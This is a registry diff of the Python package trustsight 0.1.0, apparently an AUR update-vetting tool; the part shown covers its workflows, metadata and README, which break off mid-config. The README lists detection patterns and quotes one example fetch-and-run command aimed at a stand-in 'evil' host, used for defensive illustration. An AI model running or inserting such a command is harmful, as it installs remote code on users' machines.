trustsight 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- trustsight-0.1.0/.github/workflows/publishing.yml +43 -0
- trustsight-0.1.0/.github/workflows/test.yml +17 -0
- trustsight-0.1.0/.gitignore +8 -0
- trustsight-0.1.0/.python-version +1 -0
- trustsight-0.1.0/PKG-INFO +295 -0
- trustsight-0.1.0/README.md +265 -0
- trustsight-0.1.0/main.py +6 -0
- trustsight-0.1.0/pyproject.toml +54 -0
- trustsight-0.1.0/src/trustsight/__init__.py +0 -0
- trustsight-0.1.0/src/trustsight/analysis.py +178 -0
- trustsight-0.1.0/src/trustsight/buckets.py +59 -0
- trustsight-0.1.0/src/trustsight/cli.py +224 -0
- trustsight-0.1.0/src/trustsight/config.py +281 -0
- trustsight-0.1.0/src/trustsight/db.py +179 -0
- trustsight-0.1.0/src/trustsight/differ.py +85 -0
- trustsight-0.1.0/src/trustsight/discovery.py +58 -0
- trustsight-0.1.0/src/trustsight/fetcher.py +84 -0
- trustsight-0.1.0/src/trustsight/llm.py +179 -0
- trustsight-0.1.0/src/trustsight/novelty.py +78 -0
- trustsight-0.1.0/src/trustsight/rules.py +47 -0
- trustsight-0.1.0/src/trustsight/schema.py +102 -0
- trustsight-0.1.0/src/trustsight/scoring.py +108 -0
- trustsight-0.1.0/src/trustsight/tokenizer.py +60 -0
- trustsight-0.1.0/tests/__init__.py +0 -0
- trustsight-0.1.0/tests/test_analysis.py +175 -0
- trustsight-0.1.0/tests/test_buckets.py +114 -0
- trustsight-0.1.0/tests/test_cli.py +121 -0
- trustsight-0.1.0/tests/test_config.py +141 -0
- trustsight-0.1.0/tests/test_db.py +184 -0
- trustsight-0.1.0/tests/test_differ.py +149 -0
- trustsight-0.1.0/tests/test_llm.py +21 -0
- trustsight-0.1.0/tests/test_novelty.py +97 -0
- trustsight-0.1.0/tests/test_rules.py +289 -0
- trustsight-0.1.0/tests/test_scenarios.py +343 -0
- trustsight-0.1.0/tests/test_schema.py +192 -0
- trustsight-0.1.0/tests/test_scoring.py +205 -0
- trustsight-0.1.0/tests/test_tokenizer.py +129 -0
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
name: Publish to PyPI
|
|
2
|
+
|
|
3
|
+
on:
|
|
4
|
+
release:
|
|
5
|
+
types: [published]
|
|
6
|
+
|
|
7
|
+
jobs:
|
|
8
|
+
build:
|
|
9
|
+
name: Build distribution
|
|
10
|
+
runs-on: ubuntu-latest
|
|
11
|
+
steps:
|
|
12
|
+
- uses: actions/checkout@v4
|
|
13
|
+
|
|
14
|
+
- name: Install uv
|
|
15
|
+
uses: astral-sh/setup-uv@v7
|
|
16
|
+
|
|
17
|
+
- name: Build package
|
|
18
|
+
run: uv build
|
|
19
|
+
|
|
20
|
+
- name: Upload distributions
|
|
21
|
+
uses: actions/upload-artifact@v4
|
|
22
|
+
with:
|
|
23
|
+
name: dist
|
|
24
|
+
path: dist/
|
|
25
|
+
|
|
26
|
+
publish:
|
|
27
|
+
name: Publish to PyPI
|
|
28
|
+
needs: build
|
|
29
|
+
runs-on: ubuntu-latest
|
|
30
|
+
environment:
|
|
31
|
+
name: pypi
|
|
32
|
+
url: https://pypi.org/project/trustsight
|
|
33
|
+
permissions:
|
|
34
|
+
id-token: write
|
|
35
|
+
steps:
|
|
36
|
+
- name: Download distributions
|
|
37
|
+
uses: actions/download-artifact@v4
|
|
38
|
+
with:
|
|
39
|
+
name: dist
|
|
40
|
+
path: dist/
|
|
41
|
+
|
|
42
|
+
- name: Publish to PyPI
|
|
43
|
+
uses: pypa/gh-action-pypi-publish@release/v1
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
name: Tests
|
|
2
|
+
|
|
3
|
+
on: [push, pull_request]
|
|
4
|
+
|
|
5
|
+
jobs:
|
|
6
|
+
test:
|
|
7
|
+
runs-on: ubuntu-latest
|
|
8
|
+
strategy:
|
|
9
|
+
matrix:
|
|
10
|
+
python: ["3.12", "3.13"]
|
|
11
|
+
steps:
|
|
12
|
+
- uses: actions/checkout@v4
|
|
13
|
+
- uses: actions/setup-python@v5
|
|
14
|
+
with:
|
|
15
|
+
python-version: ${{ matrix.python }}
|
|
16
|
+
- run: pip install -e ".[dev]"
|
|
17
|
+
- run: pytest tests/
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
3.12.7
|
|
@@ -0,0 +1,295 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: trustsight
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: CLI-based AUR package update vetting tool
|
|
5
|
+
Project-URL: Documentation, https://github.com/emiliano-go/trustsight
|
|
6
|
+
Author-email: Emiliano Gandini Outeda <emiliano.gandini@protonmail.com>
|
|
7
|
+
License-Expression: MIT
|
|
8
|
+
Keywords: arch-linux,aur,pkgbuild,security,vetting
|
|
9
|
+
Classifier: Development Status :: 3 - Alpha
|
|
10
|
+
Classifier: Intended Audience :: Developers
|
|
11
|
+
Classifier: Intended Audience :: System Administrators
|
|
12
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
13
|
+
Classifier: Programming Language :: Python :: 3
|
|
14
|
+
Classifier: Programming Language :: Python :: 3 :: Only
|
|
15
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
17
|
+
Classifier: Topic :: Security
|
|
18
|
+
Classifier: Topic :: System :: Archiving :: Packaging
|
|
19
|
+
Requires-Python: >=3.12
|
|
20
|
+
Requires-Dist: openai>=1.0
|
|
21
|
+
Requires-Dist: pygit2>=1.15
|
|
22
|
+
Requires-Dist: rich>=13.0
|
|
23
|
+
Requires-Dist: tldextract>=5.0
|
|
24
|
+
Provides-Extra: dev
|
|
25
|
+
Requires-Dist: pytest; extra == 'dev'
|
|
26
|
+
Requires-Dist: ruff; extra == 'dev'
|
|
27
|
+
Provides-Extra: ollama
|
|
28
|
+
Requires-Dist: ollama; extra == 'ollama'
|
|
29
|
+
Description-Content-Type: text/markdown
|
|
30
|
+
|
|
31
|
+
<p align="center">
|
|
32
|
+
<h1 align="center">trustsight</h1>
|
|
33
|
+
</p>
|
|
34
|
+
|
|
35
|
+
<p align="center">
|
|
36
|
+
<strong>AUR package update vetting tool. Run it before yay -Syu.</strong>
|
|
37
|
+
</p>
|
|
38
|
+
|
|
39
|
+
<p align="center">
|
|
40
|
+
<a href="https://www.python.org/downloads/">
|
|
41
|
+
<img src="https://img.shields.io/badge/Python-3.12+-3776AB?logo=python&logoColor=white&style=for-the-badge" alt="Python">
|
|
42
|
+
</a>
|
|
43
|
+
<a href="LICENSE">
|
|
44
|
+
<img src="https://img.shields.io/badge/License-MIT-10AC84?style=for-the-badge" alt="License">
|
|
45
|
+
</a>
|
|
46
|
+
</p>
|
|
47
|
+
|
|
48
|
+
---
|
|
49
|
+
|
|
50
|
+
## Quick start
|
|
51
|
+
|
|
52
|
+
Run a review of all outdated AUR packages before your next system update:
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
trustsight review
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
Output:
|
|
59
|
+
|
|
60
|
+
```
|
|
61
|
+
TrustSight Review
|
|
62
|
+
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
|
|
63
|
+
┃ Package ┃ Score ┃ Verdict ┃
|
|
64
|
+
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
|
|
65
|
+
│ some-app-bin │ 0/100 │ Version bump. no structural changes. No │
|
|
66
|
+
│ sketchy-package │ 55/100│ Checksum disabled (R004). New domain: │
|
|
67
|
+
│ │ │ sketchy-cdn.example.com (unknown). │
|
|
68
|
+
└──────────────────────────┴───────┴───────────────────────────────────────────┘
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
Inspect a single package:
|
|
72
|
+
|
|
73
|
+
```bash
|
|
74
|
+
trustsight inspect some-app-bin
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
View analysis history:
|
|
78
|
+
|
|
79
|
+
```bash
|
|
80
|
+
trustsight history sketchy-package --score-breakdown
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
Configure API credentials:
|
|
84
|
+
|
|
85
|
+
```bash
|
|
86
|
+
trustsight config set api_key sk-xxxx
|
|
87
|
+
trustsight config set base_url https://api.openai.com/v1
|
|
88
|
+
trustsight config show
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
That is it. Run `trustsight review` before `yay -Syu` to catch suspicious package updates before they land on your system.
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## Comparison: automated vetting vs manual review
|
|
96
|
+
|
|
97
|
+
| Task | Manual | trustsight |
|
|
98
|
+
|------|--------|------------|
|
|
99
|
+
| Check PKGBUILD diffs | Clone and diff each repo by hand | Auto-clones AUR repos and generates structured diffs |
|
|
100
|
+
| Detect live-install patterns (curl pipe bash) | Grep for curl/wget/base64 patterns | 11 built-in rules (R001-R011) covering obfuscated and mixed-case evasion |
|
|
101
|
+
| Verify checksums | Check sha256sums are present | Detects SKIP, NONE, empty, and removal of checksums (R004, R005) |
|
|
102
|
+
| Classify source URLs | Manual domain inspection | Auto-buckets: trusted forge, official, raw hosting, unknown, typo-squatted |
|
|
103
|
+
| Track novelty | Remember what's been seen before | DB-backed first-seen tracking for URLs, maintainers, and packages |
|
|
104
|
+
| Score and prioritize | Gut feeling | Deterministic scoring (0-100) with configurable severity weights and bucket modifiers |
|
|
105
|
+
| LLM synthesis | Read the diff and decide | Optional LLM verdict with scoring tool definitions |
|
|
106
|
+
| History and trends | Keep notes in a text file | Persistent SQLite history with score breakdown per analysis |
|
|
107
|
+
|
|
108
|
+
---
|
|
109
|
+
|
|
110
|
+
## Why run this before yay -Syu
|
|
111
|
+
|
|
112
|
+
AUR packages are community-maintained. Maintainer accounts get compromised; upstream URLs change; malicious commits slip into otherwise reputable packages. TrustSight automates the diff inspection that most users skip.
|
|
113
|
+
|
|
114
|
+
- **Catch typo-squatted domains**: `githab.com` instead of `github.com` is flagged as unknown and novel.
|
|
115
|
+
- **Detect checksum removal**: If a maintainer empties `sha256sums` between versions, R004 fires. If checksums are replaced with SKIP or NONE, R004 fires.
|
|
116
|
+
- **Spot live-install payloads**: `curl evil.cdn/bootstrap.sh | bash` triggers R001 even with obfuscated casing.
|
|
117
|
+
- **Flag maintainer swaps**: If the maintainer field changes between versions, you are warned.
|
|
118
|
+
- **Track novelty**: First-seen URLs and first-seen maintainers add to the score.
|
|
119
|
+
- **Deterministic scoring**: Same package, same diff, same score. Every time.
|
|
120
|
+
|
|
121
|
+
---
|
|
122
|
+
|
|
123
|
+
## Features
|
|
124
|
+
|
|
125
|
+
| Category | What trustsight handles |
|
|
126
|
+
|----------|------------------------|
|
|
127
|
+
| **Diff analysis** | Auto-clones AUR repos, generates structured diffs between old and new commits, extracts URL changes, resolved commands, and execution patterns |
|
|
128
|
+
| **Detection rules** | R001-R011: curl pipe bash (R001), wget pipe sh (R002), base64 decode (R003), checksum disabled SKIP/NONE (R004), checksum emptied (R005), tar.gz pipe (R006), install file modified (R007), python/ruby -c URL (R008), sudo usage (R009), curl in diff (R010), wget in diff (R011) |
|
|
129
|
+
| **URL classification** | Trusted forges (github.com, gitlab.com, codeberg.org, bitbucket.org), official domains (python.org, kernel.org, nginx.org, archlinux.org), raw hosting (pastebin.com, gist.github.com), typo-squat detection (githab.com, gituhb.com, etc.), IP address detection, unusual TLD detection |
|
|
130
|
+
| **Scoring** | Configurable severity weights (CRITICAL 40, HIGH 25, MEDIUM 15, LOW 5, INFO 0), trusted forge modifier (-10), raw hosting modifier (+15), novelty additions (URL first seen globally +10, per-package +5, maintainer first seen +5) |
|
|
131
|
+
| **Novelty tracking** | SQLite-backed first-seen detection for URLs (global and per-package) and maintainers |
|
|
132
|
+
| **LLM verdict** | Optional LLM integration (OpenAI or Ollama via OpenAI-compatible endpoint) that receives scoring tool definitions and produces plain-English verdicts |
|
|
133
|
+
| **History** | Persistent analysis history with score breakdowns per package |
|
|
134
|
+
|
|
135
|
+
---
|
|
136
|
+
|
|
137
|
+
## How it works
|
|
138
|
+
|
|
139
|
+
```
|
|
140
|
+
┌──────────────────┐
|
|
141
|
+
│ AUR │
|
|
142
|
+
└────────┬─────────┘
|
|
143
|
+
│ git clone / fetch
|
|
144
|
+
┌────────▼─────────┐
|
|
145
|
+
│ fetcher.py │ Clone or update cached repo
|
|
146
|
+
└────────┬─────────┘
|
|
147
|
+
│ old vs new commits
|
|
148
|
+
┌────────▼─────────┐
|
|
149
|
+
│ differ.py │ git diff, extract URLs, detect checksum changes
|
|
150
|
+
└────────┬─────────┘
|
|
151
|
+
│ diff text
|
|
152
|
+
┌────────▼─────────┐
|
|
153
|
+
│ tokenizer.py │ Resolve variables, extract resolved commands
|
|
154
|
+
└────────┬─────────┘
|
|
155
|
+
│ resolved strings + raw lines
|
|
156
|
+
┌────────▼─────────┐
|
|
157
|
+
│ rules.py │ Apply R001-R011 patterns
|
|
158
|
+
└────────┬─────────┘
|
|
159
|
+
│ triggered rules
|
|
160
|
+
┌────────▼─────────┐
|
|
161
|
+
│ buckets.py │ Classify source URLs
|
|
162
|
+
└────────┬─────────┘
|
|
163
|
+
│ bucket map
|
|
164
|
+
┌────────▼─────────┐
|
|
165
|
+
│ novelty.py │ Check first-seen URLs and maintainers
|
|
166
|
+
└────────┬─────────┘
|
|
167
|
+
│ novelty context
|
|
168
|
+
┌────────▼─────────┐
|
|
169
|
+
│ scoring.py │ Calculate deterministic 0-100 score
|
|
170
|
+
└────────┬─────────┘
|
|
171
|
+
│ score + breakdown
|
|
172
|
+
┌────────▼─────────┐
|
|
173
|
+
│ llm.py (opt.) │ Generate plain-English verdict
|
|
174
|
+
└────────┬─────────┘
|
|
175
|
+
│ verdict
|
|
176
|
+
┌────────▼─────────┐
|
|
177
|
+
│ cli.py │ Display results (rich table or fallback)
|
|
178
|
+
└──────────────────┘
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
Data flow: trustSight clones the AUR repo, diffs the old and new commits, tokenizes the diff, applies detection rules, classifies URLs, checks novelty, calculates a deterministic score, and optionally generates an LLM verdict. The entire pipeline runs locally; no data leaves your machine unless you configure an LLM provider.
|
|
182
|
+
|
|
183
|
+
---
|
|
184
|
+
|
|
185
|
+
## Installation
|
|
186
|
+
|
|
187
|
+
```bash
|
|
188
|
+
pip install trustsight
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
Requires Python 3.12+.
|
|
192
|
+
|
|
193
|
+
### Dependencies
|
|
194
|
+
|
|
195
|
+
- **pygit2**: Git repository access (diff, clone, fetch)
|
|
196
|
+
- **tldextract**: Domain extraction for URL classification
|
|
197
|
+
- **rich**: Terminal tables and formatted output
|
|
198
|
+
- **openai**: OpenAI-compatible LLM client (also used for Ollama)
|
|
199
|
+
|
|
200
|
+
### Local LLM (Ollama)
|
|
201
|
+
|
|
202
|
+
```bash
|
|
203
|
+
pip install trustsight[ollama]
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
Set your Ollama base URL and model in the config.
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## Configuration
|
|
211
|
+
|
|
212
|
+
Config files are auto-generated on first run at `~/.config/trustsight/`:
|
|
213
|
+
|
|
214
|
+
- **`config.toml`**: Severity weights, bucket modifiers, diff limits, LLM provider settings
|
|
215
|
+
- **`rules.toml`**: Detection patterns for R001-R011
|
|
216
|
+
- **`domains.toml`**: Trusted forge domains, official domains, raw hosting domains, typo-squat map
|
|
217
|
+
|
|
218
|
+
### Environment variables
|
|
219
|
+
|
|
220
|
+
- `TRUSTSIGHT_API_KEY`: API key for LLM provider (overrides config file)
|
|
221
|
+
- `TRUSTSIGHT_BASE_URL`: Base URL for LLM provider (overrides config file)
|
|
222
|
+
|
|
223
|
+
Example using NVIDIA API:
|
|
224
|
+
|
|
225
|
+
```bash
|
|
226
|
+
export TRUSTSIGHT_API_KEY=nvapi-xxxx
|
|
227
|
+
export TRUSTSIGHT_BASE_URL=https://integrate.api.nvidia.com/v1
|
|
228
|
+
trustsight inspect some-package
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
### LLM provider setup
|
|
232
|
+
|
|
233
|
+
In `~/.config/trustsight/config.toml`:
|
|
234
|
+
|
|
235
|
+
```toml
|
|
236
|
+
[llm]
|
|
237
|
+
provider = "openai" # "openai" or "ollama"
|
|
238
|
+
model = "z-ai/glm-5.2" # model name
|
|
239
|
+
api_key = "" # set via TRUSTSIGHT_API_KEY env var instead
|
|
240
|
+
base_url = "" # set via TRUSTSIGHT_BASE_URL env var instead
|
|
241
|
+
show_reasoning = false # show reasoning tokens in gray
|
|
242
|
+
```
|
|
243
|
+
|
|
244
|
+
---
|
|
245
|
+
|
|
246
|
+
## At a glance
|
|
247
|
+
|
|
248
|
+
```bash
|
|
249
|
+
# Review all outdated packages (run before yay -Syu)
|
|
250
|
+
trustsight review
|
|
251
|
+
trustsight review --limit 50
|
|
252
|
+
|
|
253
|
+
# Inspect a specific package
|
|
254
|
+
trustsight inspect my-aur-package
|
|
255
|
+
|
|
256
|
+
# View analysis history
|
|
257
|
+
trustsight history my-aur-package
|
|
258
|
+
trustsight history my-aur-package --limit 10
|
|
259
|
+
trustsight history my-aur-package --score-breakdown
|
|
260
|
+
|
|
261
|
+
# Manage configuration
|
|
262
|
+
trustsight config set api_key sk-xxxx
|
|
263
|
+
trustsight config set base_url https://api.openai.com/v1
|
|
264
|
+
trustsight config show
|
|
265
|
+
```
|
|
266
|
+
|
|
267
|
+
LLM verdict with scoring tool definitions:
|
|
268
|
+
|
|
269
|
+
```bash
|
|
270
|
+
export TRUSTSIGHT_API_KEY=sk-xxxx
|
|
271
|
+
trustsight inspect some-package
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
The LLM receives a structured input with triggered rules, score breakdown, URL classifications, and novelty context. It never calculates scores; it only translates deterministic flags into plain English.
|
|
275
|
+
|
|
276
|
+
---
|
|
277
|
+
|
|
278
|
+
## Testing
|
|
279
|
+
|
|
280
|
+
Run the test suite (no external services needed):
|
|
281
|
+
|
|
282
|
+
```bash
|
|
283
|
+
pip install -e ".[dev]"
|
|
284
|
+
pytest tests/
|
|
285
|
+
```
|
|
286
|
+
|
|
287
|
+
Current test count: 218 tests across 11 test files covering all modules, edge cases, and end-to-end scenarios (benign, obviously malicious, subtly malicious).
|
|
288
|
+
|
|
289
|
+
---
|
|
290
|
+
|
|
291
|
+
## Documentation
|
|
292
|
+
|
|
293
|
+
## License
|
|
294
|
+
|
|
295
|
+
MIT
|
|
@@ -0,0 +1,265 @@
|
|
|
1
|
+
<p align="center">
|
|
2
|
+
<h1 align="center">trustsight</h1>
|
|
3
|
+
</p>
|
|
4
|
+
|
|
5
|
+
<p align="center">
|
|
6
|
+
<strong>AUR package update vetting tool. Run it before yay -Syu.</strong>
|
|
7
|
+
</p>
|
|
8
|
+
|
|
9
|
+
<p align="center">
|
|
10
|
+
<a href="https://www.python.org/downloads/">
|
|
11
|
+
<img src="https://img.shields.io/badge/Python-3.12+-3776AB?logo=python&logoColor=white&style=for-the-badge" alt="Python">
|
|
12
|
+
</a>
|
|
13
|
+
<a href="LICENSE">
|
|
14
|
+
<img src="https://img.shields.io/badge/License-MIT-10AC84?style=for-the-badge" alt="License">
|
|
15
|
+
</a>
|
|
16
|
+
</p>
|
|
17
|
+
|
|
18
|
+
---
|
|
19
|
+
|
|
20
|
+
## Quick start
|
|
21
|
+
|
|
22
|
+
Run a review of all outdated AUR packages before your next system update:
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
trustsight review
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
Output:
|
|
29
|
+
|
|
30
|
+
```
|
|
31
|
+
TrustSight Review
|
|
32
|
+
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
|
|
33
|
+
┃ Package ┃ Score ┃ Verdict ┃
|
|
34
|
+
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
|
|
35
|
+
│ some-app-bin │ 0/100 │ Version bump. no structural changes. No │
|
|
36
|
+
│ sketchy-package │ 55/100│ Checksum disabled (R004). New domain: │
|
|
37
|
+
│ │ │ sketchy-cdn.example.com (unknown). │
|
|
38
|
+
└──────────────────────────┴───────┴───────────────────────────────────────────┘
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
Inspect a single package:
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
trustsight inspect some-app-bin
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
View analysis history:
|
|
48
|
+
|
|
49
|
+
```bash
|
|
50
|
+
trustsight history sketchy-package --score-breakdown
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
Configure API credentials:
|
|
54
|
+
|
|
55
|
+
```bash
|
|
56
|
+
trustsight config set api_key sk-xxxx
|
|
57
|
+
trustsight config set base_url https://api.openai.com/v1
|
|
58
|
+
trustsight config show
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
That is it. Run `trustsight review` before `yay -Syu` to catch suspicious package updates before they land on your system.
|
|
62
|
+
|
|
63
|
+
---
|
|
64
|
+
|
|
65
|
+
## Comparison: automated vetting vs manual review
|
|
66
|
+
|
|
67
|
+
| Task | Manual | trustsight |
|
|
68
|
+
|------|--------|------------|
|
|
69
|
+
| Check PKGBUILD diffs | Clone and diff each repo by hand | Auto-clones AUR repos and generates structured diffs |
|
|
70
|
+
| Detect live-install patterns (curl pipe bash) | Grep for curl/wget/base64 patterns | 11 built-in rules (R001-R011) covering obfuscated and mixed-case evasion |
|
|
71
|
+
| Verify checksums | Check sha256sums are present | Detects SKIP, NONE, empty, and removal of checksums (R004, R005) |
|
|
72
|
+
| Classify source URLs | Manual domain inspection | Auto-buckets: trusted forge, official, raw hosting, unknown, typo-squatted |
|
|
73
|
+
| Track novelty | Remember what's been seen before | DB-backed first-seen tracking for URLs, maintainers, and packages |
|
|
74
|
+
| Score and prioritize | Gut feeling | Deterministic scoring (0-100) with configurable severity weights and bucket modifiers |
|
|
75
|
+
| LLM synthesis | Read the diff and decide | Optional LLM verdict with scoring tool definitions |
|
|
76
|
+
| History and trends | Keep notes in a text file | Persistent SQLite history with score breakdown per analysis |
|
|
77
|
+
|
|
78
|
+
---
|
|
79
|
+
|
|
80
|
+
## Why run this before yay -Syu
|
|
81
|
+
|
|
82
|
+
AUR packages are community-maintained. Maintainer accounts get compromised; upstream URLs change; malicious commits slip into otherwise reputable packages. TrustSight automates the diff inspection that most users skip.
|
|
83
|
+
|
|
84
|
+
- **Catch typo-squatted domains**: `githab.com` instead of `github.com` is flagged as unknown and novel.
|
|
85
|
+
- **Detect checksum removal**: If a maintainer empties `sha256sums` between versions, R004 fires. If checksums are replaced with SKIP or NONE, R004 fires.
|
|
86
|
+
- **Spot live-install payloads**: `curl evil.cdn/bootstrap.sh | bash` triggers R001 even with obfuscated casing.
|
|
87
|
+
- **Flag maintainer swaps**: If the maintainer field changes between versions, you are warned.
|
|
88
|
+
- **Track novelty**: First-seen URLs and first-seen maintainers add to the score.
|
|
89
|
+
- **Deterministic scoring**: Same package, same diff, same score. Every time.
|
|
90
|
+
|
|
91
|
+
---
|
|
92
|
+
|
|
93
|
+
## Features
|
|
94
|
+
|
|
95
|
+
| Category | What trustsight handles |
|
|
96
|
+
|----------|------------------------|
|
|
97
|
+
| **Diff analysis** | Auto-clones AUR repos, generates structured diffs between old and new commits, extracts URL changes, resolved commands, and execution patterns |
|
|
98
|
+
| **Detection rules** | R001-R011: curl pipe bash (R001), wget pipe sh (R002), base64 decode (R003), checksum disabled SKIP/NONE (R004), checksum emptied (R005), tar.gz pipe (R006), install file modified (R007), python/ruby -c URL (R008), sudo usage (R009), curl in diff (R010), wget in diff (R011) |
|
|
99
|
+
| **URL classification** | Trusted forges (github.com, gitlab.com, codeberg.org, bitbucket.org), official domains (python.org, kernel.org, nginx.org, archlinux.org), raw hosting (pastebin.com, gist.github.com), typo-squat detection (githab.com, gituhb.com, etc.), IP address detection, unusual TLD detection |
|
|
100
|
+
| **Scoring** | Configurable severity weights (CRITICAL 40, HIGH 25, MEDIUM 15, LOW 5, INFO 0), trusted forge modifier (-10), raw hosting modifier (+15), novelty additions (URL first seen globally +10, per-package +5, maintainer first seen +5) |
|
|
101
|
+
| **Novelty tracking** | SQLite-backed first-seen detection for URLs (global and per-package) and maintainers |
|
|
102
|
+
| **LLM verdict** | Optional LLM integration (OpenAI or Ollama via OpenAI-compatible endpoint) that receives scoring tool definitions and produces plain-English verdicts |
|
|
103
|
+
| **History** | Persistent analysis history with score breakdowns per package |
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## How it works
|
|
108
|
+
|
|
109
|
+
```
|
|
110
|
+
┌──────────────────┐
|
|
111
|
+
│ AUR │
|
|
112
|
+
└────────┬─────────┘
|
|
113
|
+
│ git clone / fetch
|
|
114
|
+
┌────────▼─────────┐
|
|
115
|
+
│ fetcher.py │ Clone or update cached repo
|
|
116
|
+
└────────┬─────────┘
|
|
117
|
+
│ old vs new commits
|
|
118
|
+
┌────────▼─────────┐
|
|
119
|
+
│ differ.py │ git diff, extract URLs, detect checksum changes
|
|
120
|
+
└────────┬─────────┘
|
|
121
|
+
│ diff text
|
|
122
|
+
┌────────▼─────────┐
|
|
123
|
+
│ tokenizer.py │ Resolve variables, extract resolved commands
|
|
124
|
+
└────────┬─────────┘
|
|
125
|
+
│ resolved strings + raw lines
|
|
126
|
+
┌────────▼─────────┐
|
|
127
|
+
│ rules.py │ Apply R001-R011 patterns
|
|
128
|
+
└────────┬─────────┘
|
|
129
|
+
│ triggered rules
|
|
130
|
+
┌────────▼─────────┐
|
|
131
|
+
│ buckets.py │ Classify source URLs
|
|
132
|
+
└────────┬─────────┘
|
|
133
|
+
│ bucket map
|
|
134
|
+
┌────────▼─────────┐
|
|
135
|
+
│ novelty.py │ Check first-seen URLs and maintainers
|
|
136
|
+
└────────┬─────────┘
|
|
137
|
+
│ novelty context
|
|
138
|
+
┌────────▼─────────┐
|
|
139
|
+
│ scoring.py │ Calculate deterministic 0-100 score
|
|
140
|
+
└────────┬─────────┘
|
|
141
|
+
│ score + breakdown
|
|
142
|
+
┌────────▼─────────┐
|
|
143
|
+
│ llm.py (opt.) │ Generate plain-English verdict
|
|
144
|
+
└────────┬─────────┘
|
|
145
|
+
│ verdict
|
|
146
|
+
┌────────▼─────────┐
|
|
147
|
+
│ cli.py │ Display results (rich table or fallback)
|
|
148
|
+
└──────────────────┘
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
Data flow: trustSight clones the AUR repo, diffs the old and new commits, tokenizes the diff, applies detection rules, classifies URLs, checks novelty, calculates a deterministic score, and optionally generates an LLM verdict. The entire pipeline runs locally; no data leaves your machine unless you configure an LLM provider.
|
|
152
|
+
|
|
153
|
+
---
|
|
154
|
+
|
|
155
|
+
## Installation
|
|
156
|
+
|
|
157
|
+
```bash
|
|
158
|
+
pip install trustsight
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
Requires Python 3.12+.
|
|
162
|
+
|
|
163
|
+
### Dependencies
|
|
164
|
+
|
|
165
|
+
- **pygit2**: Git repository access (diff, clone, fetch)
|
|
166
|
+
- **tldextract**: Domain extraction for URL classification
|
|
167
|
+
- **rich**: Terminal tables and formatted output
|
|
168
|
+
- **openai**: OpenAI-compatible LLM client (also used for Ollama)
|
|
169
|
+
|
|
170
|
+
### Local LLM (Ollama)
|
|
171
|
+
|
|
172
|
+
```bash
|
|
173
|
+
pip install trustsight[ollama]
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
Set your Ollama base URL and model in the config.
|
|
177
|
+
|
|
178
|
+
---
|
|
179
|
+
|
|
180
|
+
## Configuration
|
|
181
|
+
|
|
182
|
+
Config files are auto-generated on first run at `~/.config/trustsight/`:
|
|
183
|
+
|
|
184
|
+
- **`config.toml`**: Severity weights, bucket modifiers, diff limits, LLM provider settings
|
|
185
|
+
- **`rules.toml`**: Detection patterns for R001-R011
|
|
186
|
+
- **`domains.toml`**: Trusted forge domains, official domains, raw hosting domains, typo-squat map
|
|
187
|
+
|
|
188
|
+
### Environment variables
|
|
189
|
+
|
|
190
|
+
- `TRUSTSIGHT_API_KEY`: API key for LLM provider (overrides config file)
|
|
191
|
+
- `TRUSTSIGHT_BASE_URL`: Base URL for LLM provider (overrides config file)
|
|
192
|
+
|
|
193
|
+
Example using NVIDIA API:
|
|
194
|
+
|
|
195
|
+
```bash
|
|
196
|
+
export TRUSTSIGHT_API_KEY=nvapi-xxxx
|
|
197
|
+
export TRUSTSIGHT_BASE_URL=https://integrate.api.nvidia.com/v1
|
|
198
|
+
trustsight inspect some-package
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
### LLM provider setup
|
|
202
|
+
|
|
203
|
+
In `~/.config/trustsight/config.toml`:
|
|
204
|
+
|
|
205
|
+
```toml
|
|
206
|
+
[llm]
|
|
207
|
+
provider = "openai" # "openai" or "ollama"
|
|
208
|
+
model = "z-ai/glm-5.2" # model name
|
|
209
|
+
api_key = "" # set via TRUSTSIGHT_API_KEY env var instead
|
